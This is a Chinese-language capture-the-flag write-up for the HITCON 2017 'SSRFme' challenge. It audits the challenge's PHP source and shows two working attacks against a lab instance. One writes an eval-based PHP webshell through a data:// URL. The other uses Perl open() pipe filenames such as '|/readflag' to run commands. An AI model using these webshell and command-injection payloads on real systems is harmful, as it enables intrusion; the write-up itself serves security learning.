HITCON2017-SSRFme
Created At :
Count:1k
Views 👀 :
首先先看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| 192.168.122.15 <?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); $_SERVER['REMOTE_ADDR'] = $http_x_headers[0]; }
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); @mkdir($sandbox); @chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"])); $info = pathinfo($_GET["filename"]); $dir = str_replace(".", "", basename($info["dirname"])); @mkdir($dir); @chdir($dir); @file_put_contents(basename($info["basename"]), $data); highlight_file(__FILE__);
|
开始代码审计
1 2 3 4
| if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); $_SERVER['REMOTE_ADDR'] = $http_x_headers[0]; }
|
这段代码首先检查$_SERVER[‘HTTP_X_FORWARDED_FOR’]是否存在,如果存在,则认为这是一个代理IP。然后,它使用explode函数将代理IP字符串(可能是由多个IP组成的,由逗号分隔)分割成数组,并取第一个IP作为$_SERVER[‘REMOTE_ADDR’]的值。这通常用于在反向代理环境中获取原始客户端的IP地址.
echo $_SERVER[“REMOTE_ADDR”]
输出客户端的ip地址.
1 2 3
| $sandbox = "sndbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]) @mkdir($sandbox) @chdir($sandbox)
|
这里首先根据客户端的IP地址(已经过MD5哈希处理,并附加了”orange”字符串)创建一个沙盒目录名称。然后,使用@mkdir(@用于抑制错误消息)尝试创建这个目录。如果目录成功创建,使用@chdir切换到这个目录.
1
| $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
|
将执行shell_exec里面的内容(用GET方法去请求url),并赋值给$data.
1 2 3 4 5
| $info = pathinfo($_GET["filename"]); $dir = str_replace(".", "", basename($info["dirname"])); @mkdir($dir); @chdir($dir); @file_put_contents(basename($info["basename"]), $data);
|
通过pathinfo函数解析$_GET[“filename”],获取其中的目录和文件名,然后,尝试创建一个新的目录(基于目录名,并移除所有点),并切换到该目录中,最后,使用file_put_contents函数尝试将文件保存到目录中,文件名基于$_GET[“filename”]中的基本文件名.
就是要传入一个url参数和一个filename参数,url参数会被执行get请求,得到后的内容会被写入到 sandbox/md5(orange.ip)/filename 目录下.
先去phpstorm中计算出sandbox的值
1 2 3 4 5
| <?php $sandbox = "sandbox/" . md5("orange" . "192.168.122.15"); echo $sandbox;
|
首先我们传入
1 2 3
| http://e1db78c9-d10f-45ac-827c-9c60acc78a97.node5.buuoj.cn/?url=/&filename=1
这里将根目录下的信息写到文件1中
|
访问
1
| http://e1db78c9-d10f-45ac-827c-9c60acc78a97.node5.buuoj.cn/sandbox/50d5f583d8a911dde39156ba3f03c3d5/1
|
可以看到根目录下存在一个flag文件和readflag文件
解法一 SSRF&file伪协议
构造一个webshell去读取flag,既然这里能执行GET请求并且将响应内容写到文件中,我们可以使用data伪协议来创建一个webshell
1
| url=data://text/plain,<?php @eval($_POST[1]);?>&filename=1.php
|
然后用蚁剑连接
1
| http://e1db78c9-d10f-45ac-827c-9c60acc78a97.node5.buuoj.cn/sandbox/50d5f583d8a911dde39156ba3f03c3d5/1.php
|
连接成功后点开flag,发现里面是空的,而readflag点开是乱码,推测需要执行
在根目录下打开终端,执行
得到flag
解法二 perl语言漏洞
因为GET函数在底层调用了perl语言中的open函数,但是该函数存在rce漏洞。当open函数要打开的文件名中存在管道符(并且系统中存在该文件名),就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行.
首先我们先创建一个同名文件
1
| http://131cc1e9-3c92-4b0c-ac15-4bc71fff7f9d.node5.buuoj.cn:81/?url=&filename=|/readflag
|
然后执行命令
1
| http://131cc1e9-3c92-4b0c-ac15-4bc71fff7f9d.node5.buuoj.cn:81/?url=file:|/readflag&filename=1
|
最后访问我们写入了执行结果的文件
1
| http://131cc1e9-3c92-4b0c-ac15-4bc71fff7f9d.node5.buuoj.cn:81/sandbox/e51a046f7f8d8c6a6ff47114cd2cd296/1
|
或者
2、GET函数底层就是调用了open处理,open函数支持file协议; 可以利用base -c "cmd"进行命令执行
先创建文件bash -c /readflag|
1
| ?url=&filename=bash -c /readflag|
|
创建文件后,再通过file协议,将读取的flag放入$data中,通过file_put_contents导入a中。
1
| ?url=file:bash -c /readflag|&filename=a
|
然后访问a即可
1
| sandbox/50d5f583d8a911dde39156ba3f03c3d5/a
|
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。